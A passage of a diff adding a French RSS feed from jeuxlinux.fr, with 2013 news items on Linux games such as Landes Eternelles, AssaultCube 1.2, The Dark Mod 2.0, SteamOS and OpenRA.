+&lt;strong&gt;Remerciements&lt;/strong&gt;&lt;/li&gt;&lt;li&gt; * Patches de debian, arch et gentoo&lt;/li&gt;&lt;li&gt; * Documentation Linux From Scratch&lt;/li&gt;&lt;li&gt; * Phillip Lougher pour Squashfs&lt;/li&gt;&lt;li&gt; * Junjiro Okajima pour aufs&lt;/li&gt;&lt;li&gt; * Geza Kovacs pour unetbootin&lt;/li&gt;&lt;li&gt; * Agostino Russo et Ubuntu pour Wubi&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;
+
+ </content:encoded>
+
+ </item>
+
+ <item xml:lang="fr">
+ <title>Landes Eternelles 1.8.0 et 1.8.1</title>
+ <link>http://www.jeuxlinux.fr/spip.php?breve1341</link>
+ <guid isPermaLink="true">http://www.jeuxlinux.fr/spip.php?breve1341</guid>
+ <dc:date>2013-12-16T01:18:16Z</dc:date>
+ <dc:format>text/html</dc:format>
+ <dc:language>fr</dc:language>
+
+<dc:subject>Mmog - mmorpg</dc:subject>
+
+ <description>Avec beaucoup de retard voici les derni&#232;res nouveaut&#233;s sur ce MMORPG natif linux. Fin ao&#251;t dernier sortait une grosse mise &#224; jour baptis&#233;e 1.8.0 Nexus. Elle a permis aux joueurs de redistribuer leurs points, une premi&#232;re. De nombreuses nouveaut&#233;s, en particulier : La refonte d'un m&#233;canisme au (...)
+
+-
+&lt;a href="http://www.jeuxlinux.fr/spip.php?rubrique8" rel="directory"&gt;Jeux natifs&lt;/a&gt;
+
+/
+&lt;a href="http://www.jeuxlinux.fr/spip.php?mot14" rel="tag"&gt;Mmog - mmorpg&lt;/a&gt;
+
+ </description>
+
+
+ <content:encoded>&lt;img class='spip_logos' alt=&quot;&quot; align=&quot;right&quot; src=&quot;http://www.jeuxlinux.fr/local/cache-vignettes/L140xH90/breveon1341-f6c16.png&quot; width='140' height='90' style='height:90px;width:140px;' /&gt;
+ &lt;div class='rss_texte'&gt;&lt;p&gt;Avec beaucoup de retard voici les derni&#232;res nouveaut&#233;s sur ce MMORPG natif linux.
+&lt;br /&gt;
+&lt;br /&gt;
+Fin ao&#251;t dernier sortait une grosse mise &#224; jour baptis&#233;e 1.8.0 Nexus. Elle a permis aux joueurs de redistribuer leurs points, une premi&#232;re.
+&lt;br /&gt;
+&lt;br /&gt;
+De nombreuses nouveaut&#233;s, en particulier :
+&lt;br /&gt;&lt;/p&gt; &lt;ul class=&quot;spip&quot;&gt;&lt;li&gt; La refonte d'un m&#233;canisme au coeur du gameplay
+Le syst&#232;me de sp&#233;cialisations &#224; la carte (les &quot;nexus&quot;) a &#233;t&#233; enti&#232;rement revu, afin d'&#234;tre plus simple &#224; comprendre et d'offrir des choix plus int&#233;ressants (mais toujours aussi d&#233;chirants).
+&lt;br /&gt;
+&lt;br /&gt;&lt;/li&gt;&lt;li&gt; Une nouvelle &#233;quip&#233;e (comprendre : une instance) : l'&#238;le des pirates
+&lt;br /&gt;
+&lt;br /&gt;&lt;/li&gt;&lt;li&gt; Une nouvelle qu&#234;te, &#233;galement autour du th&#232;me des pirates
+&lt;br /&gt;
+&lt;br /&gt;&lt;/li&gt;&lt;li&gt; Des am&#233;liorations graphiques
+&lt;br /&gt;
+&lt;br /&gt;&lt;/li&gt;&lt;li&gt; Des nouveaux objets &lt;br /&gt;
+&lt;br /&gt;
+La liste compl&#232;te des changements est disponible &lt;a href=&quot;http://www.landes-eternelles.com/phpBB/viewtopic.php?f=48&amp;t=26868&quot; class='spip_out' rel='external'&gt;ici&lt;/a&gt;.
+&lt;br /&gt;
+&lt;br /&gt;
+&lt;br /&gt;
+&lt;br /&gt;
+Fin octobre sortait la 1.8.1. En plus des traditionnelles et &#233;ph&#233;m&#232;res animations d'Halloween, une nouvelle mise &#224; jour importante.
+&lt;br /&gt;
+&lt;br /&gt;&lt;/li&gt;&lt;li&gt; Projets des joueurs&lt;/li&gt;&lt;/ul&gt;
+&lt;p&gt;Plusieurs dizaines de nouveaux v&#234;tements
+Plusieurs cartes g&#233;r&#233;es par les peuples de joueurs ont &#233;t&#233; modifi&#233;es &#224; leur initiative
+&lt;br /&gt;
+&lt;br /&gt;&lt;/p&gt; &lt;ul class=&quot;spip&quot;&gt;&lt;li&gt; Projets de l'&#233;quipe d'animation&lt;/li&gt;&lt;/ul&gt;
+&lt;p&gt;D&#233;p&#244;ts des peuples (PNJ pour aider aux projets collectifs des joueurs en centralisant leurs ressources)
+Nouveaux PNJ
+Constructions sur plusieurs cartes
+&lt;br /&gt;
+&lt;br /&gt;&lt;/p&gt; &lt;ul class=&quot;spip&quot;&gt;&lt;li&gt; Divers am&#233;liorations et correctifs.
+&lt;br /&gt;
+&lt;br /&gt;
+La liste compl&#232;te des changements est disponible &lt;a href=&quot;http://www.landes-eternelles.com/phpBB/viewtopic.php?f=48&amp;t=27379&quot; class='spip_out' rel='external'&gt;ici&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;
+
+ </content:encoded>
+
+ </item>
+
+ <item xml:lang="fr">
+ <title>Metro : Last Light</title>
+ <link>http://www.jeuxlinux.fr/spip.php?breve1340</link>
+ <guid isPermaLink="true">http://www.jeuxlinux.fr/spip.php?breve1340</guid>
+ <dc:date>2013-11-04T22:14:34Z</dc:date>
+ <dc:format>text/html</dc:format>
+ <dc:language>fr</dc:language>
+
+<dc:subject>Jeux de tir</dc:subject>
+<dc:subject>Jerhum</dc:subject>
+
+ <description>Sorti en mai 2013 sur Windows et console, Metro : Last Light est maintenant disponible sur la plateforme steam pour linux. Metro : Last Light est un FPS post-apocalyptique
+
+-
+&lt;a href="http://www.jeuxlinux.fr/spip.php?rubrique8" rel="directory"&gt;Jeux natifs&lt;/a&gt;
+
+/
+&lt;a href="http://www.jeuxlinux.fr/spip.php?mot9" rel="tag"&gt;Jeux de tir&lt;/a&gt;,
+&lt;a href="http://www.jeuxlinux.fr/spip.php?mot36" rel="tag"&gt;Jerhum&lt;/a&gt;
+
+ </description>
+
+
+ <content:encoded>&lt;img class='spip_logos' alt=&quot;&quot; align=&quot;right&quot; src=&quot;http://www.jeuxlinux.fr/local/cache-vignettes/L150xH100/breveon1340-ad87e.jpg&quot; width='150' height='100' style='height:100px;width:150px;' /&gt;
+ &lt;div class='rss_texte'&gt;&lt;p&gt;Sorti en mai 2013 sur Windows et console, Metro : Last Light est maintenant disponible sur la plateforme steam pour linux.
+&lt;br /&gt;
+&lt;br /&gt; Metro : Last Light est un FPS post-apocalyptique &lt;br /&gt;
+&lt;br /&gt;
+&lt;span class='spip_document_3674 spip_documents'&gt;
+&lt;a href=&quot;http://mll-cms-live.5x5digital.com/img/uploads/276_crop890x507.jpg?12345678&quot; class=&quot;spip_out&quot;&gt;&lt;img src='http://www.jeuxlinux.fr/IMG/jpg/287_crop120x90.jpg' width=&quot;120&quot; height=&quot;90&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;span class='spip_document_3673 spip_documents'&gt;
+&lt;a href=&quot;http://mll-cms-live.5x5digital.com/img/uploads/129_crop890x507.jpg?12345678&quot; class=&quot;spip_out&quot;&gt;&lt;img src='http://www.jeuxlinux.fr/IMG/jpg/129_crop120x90.jpg' width=&quot;120&quot; height=&quot;90&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;span class='spip_document_3675 spip_documents'&gt;
+&lt;a href=&quot;http://mll-cms-live.5x5digital.com/img/uploads/280_crop890x507.jpg?12345678&quot; class=&quot;spip_out&quot;&gt;&lt;img src='http://www.jeuxlinux.fr/IMG/jpg/280_crop120x90.jpg' width=&quot;120&quot; height=&quot;90&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
+
+ </content:encoded>
+
+ </item>
+
+ <item xml:lang="fr">
+ <title>No More Room in Hell</title>
+ <link>http://www.jeuxlinux.fr/spip.php?breve1339</link>
+ <guid isPermaLink="true">http://www.jeuxlinux.fr/spip.php?breve1339</guid>
+ <dc:date>2013-11-03T10:04:21Z</dc:date>
+ <dc:format>text/html</dc:format>
+ <dc:language>fr</dc:language>
+
+<dc:subject>Jeux de tir</dc:subject>
+<dc:subject>Jerhum</dc:subject>
+
+ <description>No More Room in Hell est un jeu de survival horror, ou l'on affronte des hordes de zombie. jouable jusqu'&#224; 8 en coop&#233;ration. Le jeu est bas&#233; sur le moteur de half-life2, et viens de sortir gratuitement sur la plateforme Steam.
+
+-
+&lt;a href="http://www.jeuxlinux.fr/spip.php?rubrique8" rel="directory"&gt;Jeux natifs&lt;/a&gt;
+
+/
+&lt;a href="http://www.jeuxlinux.fr/spip.php?mot9" rel="tag"&gt;Jeux de tir&lt;/a&gt;,
+&lt;a href="http://www.jeuxlinux.fr/spip.php?mot36" rel="tag"&gt;Jerhum&lt;/a&gt;
+
+ </description>
+
+
+ <content:encoded>&lt;img class='spip_logos' alt=&quot;&quot; align=&quot;right&quot; src=&quot;http://www.jeuxlinux.fr/local/cache-vignettes/L150xH71/breveon1339-96706.jpg&quot; width='150' height='71' style='height:71px;width:150px;' /&gt;
+ &lt;div class='rss_texte'&gt;&lt;p&gt;No More Room in Hell est un jeu de survival horror, ou l'on affronte des hordes de zombie. jouable jusqu'&#224; 8 en coop&#233;ration.
+&lt;br /&gt;
+&lt;br /&gt;
+Le jeu est bas&#233; sur le moteur de half-life2, et viens de sortir gratuitement sur la plateforme Steam.
+&lt;br /&gt;
+&lt;br /&gt;
+&lt;span class='spip_document_3671 spip_documents'&gt;
+&lt;img src='http://www.jeuxlinux.fr/IMG/jpg/ss_4269bce6c8d9ac6fec892dd9853cd812a18fdc59-600x338.jpg' width=&quot;300&quot; height=&quot;169&quot; alt=&quot;&quot; /&gt;&lt;/span&gt;&lt;span class='spip_document_3672 spip_documents'&gt;
+&lt;img src='http://www.jeuxlinux.fr/IMG/jpg/ss_9d025db9a94c1c5252890336e4541d3297be94d7-600x338.jpg' width=&quot;300&quot; height=&quot;169&quot; alt=&quot;&quot; /&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
+
+ </content:encoded>
+
+ </item>
+
+ <item xml:lang="fr">
+ <title>AssaultCube passe en version 1.2 apr&#232;s 1060 jours !</title>
+ <link>http://www.jeuxlinux.fr/spip.php?breve1338</link>
+ <guid isPermaLink="true">http://www.jeuxlinux.fr/spip.php?breve1338</guid>
+ <dc:date>2013-10-23T11:08:31Z</dc:date>
+ <dc:format>text/html</dc:format>
+ <dc:language>fr</dc:language>
+
+<dc:subject>Jeux de tir</dc:subject>
+<dc:subject>cacatoes</dc:subject>
+
+ <description>C'est le 9 octobre 2013 qu'est sortie la version 1.2 d'AssaultCube. Le projet s'&#233;tait retenu de pondre pendant 1060 jours et 1703 modifications (commits). Pour rappel, Assaultcube est un FPS inspir&#233; de CounterStrike, utilisant un moteur &#224; la sauce Cube/Sauerbraten, et disponible pour Linux/Mac OS (...)
+
+-
+&lt;a href="http://www.jeuxlinux.fr/spip.php?rubrique18" rel="directory"&gt;jeuvinux art&lt;/a&gt;
+
+/
+&lt;a href="http://www.jeuxlinux.fr/spip.php?mot9" rel="tag"&gt;Jeux de tir&lt;/a&gt;,
+&lt;a href="http://www.jeuxlinux.fr/spip.php?mot58" rel="tag"&gt;cacatoes&lt;/a&gt;
+
+ </description>
+
+
+ <content:encoded>&lt;img class='spip_logos' alt=&quot;&quot; align=&quot;right&quot; src=&quot;http://www.jeuxlinux.fr/local/cache-vignettes/L140xH90/breveon1338-98897.png&quot; width='140' height='90' style='height:90px;width:140px;' /&gt;
+ &lt;div class='rss_texte'&gt;&lt;p&gt;C'est le 9 octobre 2013 qu'est sortie la version 1.2 d'AssaultCube. Le projet s'&#233;tait retenu de pondre pendant 1060 jours et 1703 modifications (commits).
+&lt;br /&gt;
+&lt;br /&gt;
+Pour rappel, Assaultcube est un FPS inspir&#233; de CounterStrike, utilisant un moteur &#224; la sauce Cube/Sauerbraten, et disponible pour Linux/Mac OS X/Windows.
+&lt;br /&gt;
+&lt;br /&gt;
+Le changelog (voir : &lt;a href=&quot;http://forum.cubers.net/thread-7188.html&quot; class='spip_out' rel='external'&gt;annonce de la sortie&lt;/a&gt;) est un peu long mais finalement pas tant que &#231;a, on r&#233;sumera :
+&lt;br /&gt;
+&lt;br /&gt;
+&lt;br /&gt;&lt;img src=&quot;http://www.jeuxlinux.fr/squelettes-dist/puce.gif&quot; width=&quot;8&quot; height=&quot;11&quot; class=&quot;puce&quot; alt=&quot;-&quot; /&gt; &#201;quilibrage des armes
+&lt;br /&gt;&lt;img src=&quot;http://www.jeuxlinux.fr/squelettes-dist/puce.gif&quot; width=&quot;8&quot; height=&quot;11&quot; class=&quot;puce&quot; alt=&quot;-&quot; /&gt; Nouveaux modes de jeu : Team Last Swiss Standing / Team Pistol Frenzy
+&lt;br /&gt;&lt;img src=&quot;http://www.jeuxlinux.fr/squelettes-dist/puce.gif&quot; width=&quot;8&quot; height=&quot;11&quot; class=&quot;puce&quot; alt=&quot;-&quot; /&gt; Possibilit&#233; d'envoi de messages priv&#233;s (avec /pm cn message)
+&lt;br /&gt;&lt;img src=&quot;http://www.jeuxlinux.fr/squelettes-dist/puce.gif&quot; width=&quot;8&quot; height=&quot;11&quot; class=&quot;puce&quot; alt=&quot;-&quot; /&gt; Possibilit&#233; d'entrer le mot de passe pour se connecter directement depuis la liste des serveurs
+&lt;br /&gt;&lt;img src=&quot;http://www.jeuxlinux.fr/squelettes-dist/puce.gif&quot; width=&quot;8&quot; height=&quot;11&quot; class=&quot;puce&quot; alt=&quot;-&quot; /&gt; T&#233;l&#233;chargement &#224; la vol&#233;e de cartes et textures si elles manquent
+&lt;br /&gt;&lt;img src=&quot;http://www.jeuxlinux.fr/squelettes-dist/puce.gif&quot; width=&quot;8&quot; height=&quot;11&quot; class=&quot;puce&quot; alt=&quot;-&quot; /&gt; De nouvelles cartes : ac_avenue, ac_cavern, ac_edifice, ac_industrial, ac_stellar, ac_lainio, ac_swamp, ac_terros, ac_venison, ac_wasteland
+&lt;br /&gt;&lt;img src=&quot;http://www.jeuxlinux.fr/squelettes-dist/puce.gif&quot; width=&quot;8&quot; height=&quot;11&quot; class=&quot;puce&quot; alt=&quot;-&quot; /&gt; Passage des mod&#232;les du format MD2 vers MD3
+&lt;br /&gt;&lt;img src=&quot;http://www.jeuxlinux.fr/squelettes-dist/puce.gif&quot; width=&quot;8&quot; height=&quot;11&quot; class=&quot;puce&quot; alt=&quot;-&quot; /&gt; Tableau des scores am&#233;lior&#233;
+&lt;br /&gt;&lt;img src=&quot;http://www.jeuxlinux.fr/squelettes-dist/puce.gif&quot; width=&quot;8&quot; height=&quot;11&quot; class=&quot;puce&quot; alt=&quot;-&quot; /&gt; Am&#233;lioration des bots
+&lt;br /&gt;&lt;img src=&quot;http://www.jeuxlinux.fr/squelettes-dist/puce.gif&quot; width=&quot;8&quot; height=&quot;11&quot; class=&quot;puce&quot; alt=&quot;-&quot; /&gt; Un paquet de nouvelles commandes pour le langage script du jeu
+&lt;br /&gt;&lt;img src=&quot;http://www.jeuxlinux.fr/squelettes-dist/puce.gif&quot; width=&quot;8&quot; height=&quot;11&quot; class=&quot;puce&quot; alt=&quot;-&quot; /&gt; D'autres am&#233;liorations et corrections de bugs.
+&lt;br /&gt;
+&lt;br /&gt;
+Note : le &lt;a href=&quot;http://assault.cubers.net/&quot; class='spip_out' rel='external'&gt;site officiel&lt;/a&gt; semble en partie en panne au moment de la r&#233;daction de cette news.
+&lt;br /&gt;
+&lt;br /&gt;
+Vous pourrez quand m&#234;me t&#233;l&#233;charger le jeu depuis &lt;a href=&quot;http://sourceforge.net/projects/actiongame/files/AssaultCube%20Version%201.2.0.0/&quot; class='spip_out' rel='external'&gt;la page sourceforge&lt;/a&gt;.
+&lt;br /&gt;
+&lt;br /&gt;
+Le moteur est libre, mais les donn&#233;es ne le sont point, voyez notamment le &lt;a href=&quot;http://ftp-master.metadata.debian.org/changelogs/non-free/a/assaultcube-data/assaultcube-data_1.1.0.4+repack1-2.1_copyright&quot; class='spip_out' rel='external'&gt;fichier licence&lt;/a&gt; du paquet &lt;a href=&quot;http://packages.debian.org/testing/assaultcube&quot; class='spip_out' rel='external'&gt;assaultcube&lt;/a&gt;-data de Debian pour des infos.
+&lt;br /&gt;
+&lt;br /&gt;
+Pensez &#224; prendre garde aux ours polaires qui se cachent, carabine &#224; la main, derri&#232;re buissons et tonneaux.
+&lt;br /&gt;
+&lt;br /&gt;
+Une &lt;a href=&quot;http://www.youtube.com/watch?v=51QDk31OjsA&quot; class='spip_out' rel='external'&gt;video de gameplay&lt;/a&gt; datant de fin ao&#251;t qui illustre cette version 1.2&lt;/p&gt;&lt;/div&gt;
+
+ </content:encoded>
+
+ </item>
+
+ <item xml:lang="fr">
+ <title>Exit Doom3, Amen TheDarkMod v2.0</title>
+ <link>http://www.jeuxlinux.fr/spip.php?breve1337</link>
+ <guid isPermaLink="true">http://www.jeuxlinux.fr/spip.php?breve1337</guid>
+ <dc:date>2013-10-09T21:39:26Z</dc:date>
+ <dc:format>text/html</dc:format>
+ <dc:language>fr</dc:language>
+
+<dc:subject>Jeux de tir</dc:subject>
+<dc:subject>cacatoes</dc:subject>
+
+ <description>&#171; Hello les poilus, Poilus, car c'est ainsi que vous perfectionnez votre camouflage facial. Nous savons cela. Cela ainsi que la souplesse du chat, avec laquelle vous tirez discr&#232;tement la version 2.0 de The Dark Mod de votre carquois. Il est temps de lancer la fl&#234;che. &#187; The Dark Mod est un FPS, &#224; (...)
+
+-
+&lt;a href="http://www.jeuxlinux.fr/spip.php?rubrique18" rel="directory"&gt;jeuvinux art&lt;/a&gt;
+
+/
+&lt;a href="http://www.jeuxlinux.fr/spip.php?mot9" rel="tag"&gt;Jeux de tir&lt;/a&gt;,
+&lt;a href="http://www.jeuxlinux.fr/spip.php?mot58" rel="tag"&gt;cacatoes&lt;/a&gt;
+
+ </description>
+
+
+ <content:encoded>&lt;img class='spip_logos' alt=&quot;&quot; align=&quot;right&quot; src=&quot;http://www.jeuxlinux.fr/local/cache-vignettes/L140xH90/breveon1337-03db0.png&quot; width='140' height='90' style='height:90px;width:140px;' /&gt;
+ &lt;div class='rss_texte'&gt;&lt;p&gt;&#171; Hello les poilus,&lt;/p&gt; &lt;p&gt;Poilus, car c'est ainsi que vous perfectionnez votre camouflage facial. Nous savons cela.
+Cela ainsi que la souplesse du chat, avec laquelle vous tirez discr&#232;tement la version 2.0 de The Dark Mod de votre carquois.
+Il est temps de lancer la fl&#234;che. &#187;
+&lt;br /&gt;
+&lt;br /&gt;
+The Dark Mod est un FPS, &#224; l'origine un mod de Doom 3, qui utilise donc le moteur iodoom3, et apporte son propre contenu graphique ainsi que sa propre histoire. L'id&#233;e de The Dark Mod (TDM) est de proposer une exp&#233;rience de jeu d'infiltration similaire &#224; celle que l'on trouve dans la s&#233;rie de jeux Thief.
+La fra&#238;che et bonne nouvelle, c'est que le jeu vient de franchir l'&#233;tape de pouvoir &#234;tre utilis&#233; ind&#233;pendemment de Doom 3. Vous n'avez donc plus &#224; poss&#233;der Doom 3 pour jouer &#224; TDM. C'&#233;tait en effet la direction suivie depuis la lib&#233;ration du moteur iodoom3.
+&lt;br /&gt;
+&lt;br /&gt;
+La licence retenue pour les donn&#233;es artistiques est la Creative Commons BY-NC-SA 3.0.
+Le code est quant &#224; lui sous licence GPLv3+.
+&lt;br /&gt;
+&lt;br /&gt;
+Maintenant, les liens...
+&lt;br /&gt;
+&lt;br /&gt;
+&lt;a href=&quot;http://www.thedarkmod.com/posts/free-standalone-tdm-2-0-now-available&quot; class='spip_out' rel='external'&gt;L'annonce de la sortie de la version 2.0&lt;/a&gt;
+&lt;br /&gt;
+&lt;br /&gt;
+&lt;a href=&quot;http://www.youtube.com/watch?feature=player_embedded&amp;v=hNtUQ32eeRM&quot; class='spip_out' rel='external'&gt;Une video qui pr&#233;sente le jeu (en anglais)&lt;/a&gt;
+&lt;br /&gt;
+&lt;br /&gt;
+&lt;a href=&quot;http://wiki.thedarkmod.com/index.php?title=What%27s_new_in_TDM_2.00&quot; class='spip_out' rel='external'&gt;Le changelog d&#233;taill&#233; se situe par ici&lt;/a&gt;
+&lt;br /&gt;
+&lt;br /&gt;
+Retirez vos godillots le temps du t&#233;l&#233;chargement...&lt;/p&gt;&lt;/div&gt;
+
+ </content:encoded>
+
+ </item>
+
+ <item xml:lang="fr">
+ <title>Les jeux libres sur Radio Laser</title>
+ <link>http://www.jeuxlinux.fr/spip.php?breve1336</link>
+ <guid isPermaLink="true">http://www.jeuxlinux.fr/spip.php?breve1336</guid>
+ <dc:date>2013-10-02T06:38:20Z</dc:date>
+ <dc:format>text/html</dc:format>
+ <dc:language>fr</dc:language>
+
+<dc:subject>lanpower</dc:subject>
+
+ <description>Restez &#224; l'&#233;coute et d&#233;couvrez chaque semaine un nouveau jeu libre sur Radio Laser 95.9. Chaque mercredi un nouveau jeu est propos&#233; &#224; l'antenne puis est mis en podcast sur le site. Tous les jeux sont compatibles Windows et Linux au moins. Une &#233;mission sera diffus&#233;e chaque semaine pendant toute la (...)
+
+-
+&lt;a href="http://www.jeuxlinux.fr/spip.php?rubrique12" rel="directory"&gt;Liens&lt;/a&gt;
+
+/
+&lt;a href="http://www.jeuxlinux.fr/spip.php?mot54" rel="tag"&gt;lanpower&lt;/a&gt;
+
+ </description>
+
+
+ <content:encoded>&lt;div class='rss_texte'&gt;&lt;p&gt;Restez &#224; l'&#233;coute et d&#233;couvrez chaque semaine un nouveau jeu libre sur &lt;a href=&quot;http://www.radiolaser.fr/&quot; class='spip_out' rel='external'&gt;Radio Laser 95.9&lt;/a&gt;. Chaque mercredi un nouveau jeu est propos&#233; &#224; l'antenne puis est mis en podcast sur le site. Tous les jeux sont compatibles Windows et Linux au moins. Une &#233;mission sera diffus&#233;e chaque semaine pendant toute la saison. Les premiers jeux d&#233;crits sont &lt;a href=&quot;http://jeuxlibres.net/showgame/alien_blaster.html&quot; class='spip_out' rel='external'&gt;Alien Blaster&lt;/a&gt; et &lt;a href=&quot;http://jeuxlibres.net/showgame/battle_tanks.html&quot; class='spip_out' rel='external'&gt;Battle Tanks&lt;/a&gt;.
+&lt;br /&gt;
+&lt;br /&gt;
+Une r&#233;alisation de l'association &lt;a href=&quot;http://asso.lanpower.free.fr/&quot; class='spip_out' rel='external'&gt;LanPower&lt;/a&gt; (Patrice et Quentin) et d'Antoine l'animateur de &lt;a href=&quot;http://www.radiolaser.fr/&quot; class='spip_out' rel='external'&gt;Radio Laser&lt;/a&gt; bien s&#251;r.
+&lt;a href=&quot;http://www.radiolaser.fr/&quot; class='spip_out' rel='external'&gt;Radio Laser&lt;/a&gt; est une radio participative qui &#233;met sur la bande FM 95.9Mhz au Sud de Rennes dans un rayon de 50km.&lt;/p&gt;&lt;/div&gt;
+
+ </content:encoded>
+
+ </item>
+
+ <item xml:lang="fr">
+ <title>Steam OS et Steam machine</title>
+ <link>http://www.jeuxlinux.fr/spip.php?breve1335</link>
+ <guid isPermaLink="true">http://www.jeuxlinux.fr/spip.php?breve1335</guid>
+ <dc:date>2013-09-26T19:01:31Z</dc:date>
+ <dc:format>text/html</dc:format>
+ <dc:language>fr</dc:language>
+
+<dc:subject>Jerhum</dc:subject>
+
+ <description>Valve vient de d&#233;voiler son nouveau syst&#232;me d'exploitation Steam OS bas&#233; sur une architecture linux. Steam veut s'imposer contre les consoles, une fois le syst&#232;me install&#233; sur un PC et branch&#233; sur une t&#233;l&#233;vision, cela vous permettra de retrouver : Des centaines de jeux fonctionnent d&#233;j&#224; en natif sur (...)
+
+-
+&lt;a href="http://www.jeuxlinux.fr/spip.php?rubrique18" rel="directory"&gt;jeuvinux art&lt;/a&gt;
+
+/
+&lt;a href="http://www.jeuxlinux.fr/spip.php?mot36" rel="tag"&gt;Jerhum&lt;/a&gt;
+
+ </description>
+
+
+ <content:encoded>&lt;img class='spip_logos' alt=&quot;&quot; align=&quot;right&quot; src=&quot;http://www.jeuxlinux.fr/local/cache-vignettes/L150xH98/breveon1335-64f8c.jpg&quot; width='150' height='98' style='height:98px;width:150px;' /&gt;
+ &lt;div class='rss_texte'&gt;&lt;p&gt;Valve vient de d&#233;voiler son nouveau syst&#232;me d'exploitation Steam OS bas&#233; sur une architecture linux.
+&lt;br /&gt;
+&lt;br /&gt;
+Steam veut s'imposer contre les consoles, une fois le syst&#232;me install&#233; sur un PC et branch&#233; sur une t&#233;l&#233;vision, cela vous permettra de retrouver :
+&lt;br /&gt;&lt;img src=&quot;http://www.jeuxlinux.fr/squelettes-dist/puce.gif&quot; width=&quot;8&quot; height=&quot;11&quot; class=&quot;puce&quot; alt=&quot;-&quot; /&gt; Des centaines de jeux fonctionnent d&#233;j&#224; en natif sur SteamOS et Acc&#233;dez aux 3000 titres du catalogue complet Steam par le biais du streaming local (sur un autre Pc windows ou mac par exemple)
+&lt;br /&gt;
+&lt;br /&gt;&lt;img src=&quot;http://www.jeuxlinux.fr/squelettes-dist/puce.gif&quot; width=&quot;8&quot; height=&quot;11&quot; class=&quot;puce&quot; alt=&quot;-&quot; /&gt; Un cloud multi-plateforme
+&lt;br /&gt;
+&lt;br /&gt;&lt;img src=&quot;http://www.jeuxlinux.fr/squelettes-dist/puce.gif&quot; width=&quot;8&quot; height=&quot;11&quot; class=&quot;puce&quot; alt=&quot;-&quot; /&gt; Optimisation des performances graphiques et r&#233;duction de latence des p&#233;riph&#233;riques
+&lt;br /&gt;
+&lt;br /&gt;&lt;img src=&quot;http://www.jeuxlinux.fr/squelettes-dist/puce.gif&quot; width=&quot;8&quot; height=&quot;11&quot; class=&quot;puce&quot; alt=&quot;-&quot; /&gt; ainsi que les classiques multim&#233;dia (Musiques, TV, Films)
+&lt;br /&gt;
+&lt;br /&gt;
+SteamOS sera bient&#244;t disponible et sera gratuit.
+&lt;br /&gt;
+&lt;br /&gt;
+Steam a aussi annonc&#233; la sortie en 2014 d'une &quot;Steam Machine&quot; : un pc de salon d&#233;di&#233; pour Steam OS&lt;/p&gt;&lt;/div&gt;
+
+ </content:encoded>
+
+ </item>
+
+ <item xml:lang="fr">
+ <title>OpenRA - Release 20130915</title>
+ <link>http://www.jeuxlinux.fr/spip.php?breve1334</link>
+ <guid isPermaLink="true">http://www.jeuxlinux.fr/spip.php?breve1334</guid>
+ <dc:date>2013-09-14T14:20:29Z</dc:date>
+ <dc:format>text/html</dc:format>
+ <dc:language>fr</dc:language>
+
+<dc:subject>Strat&#233;gie</dc:subject>
+
+ <description>Une nouvelle version officielle de OpenRA vient de para&#238;tre ! Cette version comporte son lot de nouveaut&#233;s : plus de 1100 changements et am&#233;liorations ont &#233;t&#233; effectu&#233;s par 17 contributeurs. Les principaux changements de cette version sont : Nouveau comportement du brouillard de guerre (les (...)
+
+-
+&lt;a href="http://www.jeuxlinux.fr/spip.php?rubrique8" rel="directory"&gt;Jeux natifs&lt;/a&gt;
+
+/
+&lt;a href="http://www.jeuxlinux.fr/spip.php?mot10" rel="tag"&gt;Strat&#233;gie&lt;/a&gt;
+
+ </description>
+
+
+ <content:encoded>&lt;img class='spip_logos' alt=&quot;&quot; align=&quot;right&quot; src=&quot;http://www.jeuxlinux.fr/local/cache-vignettes/L128xH128/breveon1334-03633.png&quot; width='128' height='128' style='height:128px;width:128px;' /&gt;
+ &lt;div class='rss_texte'&gt;&lt;p&gt;Une nouvelle version officielle de OpenRA vient de para&#238;tre !
+Cette version comporte son lot de nouveaut&#233;s : plus de 1100 changements et am&#233;liorations ont &#233;t&#233; effectu&#233;s par 17 contributeurs.
+&lt;br /&gt;
+&lt;br /&gt;&lt;/p&gt; &lt;p&gt;Les principaux changements de cette version sont :
+&lt;br /&gt;&lt;/p&gt; &lt;ul class=&quot;spip&quot;&gt;&lt;li&gt; Nouveau comportement du brouillard de guerre (les b&#226;timents ainsi que les minerais/tiberium/&#233;pices sont maintenant montr&#233;s tels qu'ils ont &#233;t&#233; aper&#231;us la derni&#232;re fois par le joueur).&lt;/li&gt;&lt;li&gt; L'admin peut maintenant choisir certaines options de d&#233;but de partie : avec quelles unit&#233;s commencer, combien d'argent, permettre d'installer sa base pr&#232;s d'un co&#233;quipier, afficher ou non le voile et/ou le brouillard de guerre.&lt;/li&gt;&lt;li&gt; L'ing&#233;nieur adopte maintenant le comportement des anciens jeux CnC, la capture d'un b&#226;timent de l'ext&#233;rieur (comme dans C&amp;C General).&lt;/li&gt;&lt;li&gt; R&#233;vision des tirs, projectiles et explosions pour tous les mods.&lt;/li&gt;&lt;li&gt; Support natif des fichiers D2K, ce qui accroit le r&#233;alisme graphique et sonore de ce mod.&lt;/li&gt;&lt;li&gt; Probl&#232;mes d'installation sous Windows r&#233;gl&#233;s.&lt;/li&gt;&lt;li&gt; De nombreux bugs, crashs, et probl&#232;mes de performance r&#233;gl&#233;s.&lt;/li&gt;&lt;/ul&gt;
+&lt;p&gt;Veuillez noter que ce OpenRA utilise maintenant l'acc&#233;l&#233;ration graphique (GPU). Ceci ne devait poser aucun probl&#232;me pour les ordinateurs r&#233;cents (de plus de 5-7 ans), par contre, pour les plus anciens...
+&lt;br /&gt;
+&lt;br /&gt;
+La liste des changements est trop longue pour &#234;tre affich&#233;e ici, mais vous pouvez la consulter ici (plus lisible) ou ici (toutes les modifs du code sur github).
+Si vous souhaitez aider, ou contacter les d&#233;veloppeurs, vous pouvez les joindre sur le canal IRC #openra (webchat).
+&lt;br /&gt;
